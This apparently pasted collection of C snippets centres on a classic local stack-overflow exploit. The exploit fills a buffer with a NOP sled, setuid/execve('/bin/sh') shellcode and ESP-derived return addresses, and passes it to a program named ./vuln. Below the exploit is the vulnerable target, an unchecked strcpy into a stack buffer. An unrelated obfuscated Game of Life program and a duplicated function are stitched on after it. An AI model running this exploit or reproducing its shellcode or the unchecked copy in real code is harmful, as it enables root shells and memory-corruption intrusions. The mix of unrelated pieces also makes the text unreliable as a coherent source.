[HaBo]

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{
	__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
	
int i, offset;
long esp, ret, *addr_ptr;
char *ptr;
char *buffer = (char *)malloc(600);
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr: 0x%x\n", ret);


ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0;i < 600; i+=4)
{
	*(addr_ptr++) = ret;
}	


for(i=0; i < 200; i++)
{
	buffer[i] = '\x90';
}

ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{
	*(ptr++) = shellcode[i]; 
}

buffer[600-1] = 0;

execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;


}

#include <cstring>

#include <iostream>
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}

# define B f[a]
char  f[2][26][82],i,j,a=0,c[]="_o",n;main(){B[3][3]=B[3][2]=B[3][1]=B[2][3]=B[1][2]=1;for
(;;){system("clear");for(i=1;i< 25;i++){for(j=1; j<81;j++){printf("%c",c[f[!a][i][j]]);n=B
[i-1][j-1]+B[i-1][j]+B[i-1][j+1]+B[i][j-1]+B[i][j+1]+B[i+1][j-1]+B[i+1][j]+B[i+1][j+1];f[!
a][i][j]=(!B[i][j]&&n==3) ||(B[i][j]&&n>1&&n<4);}puts("");}sleep(1);a=!a;}}

unsigned long sp(void)  {  	__asm__("movl %esp, %eax");  }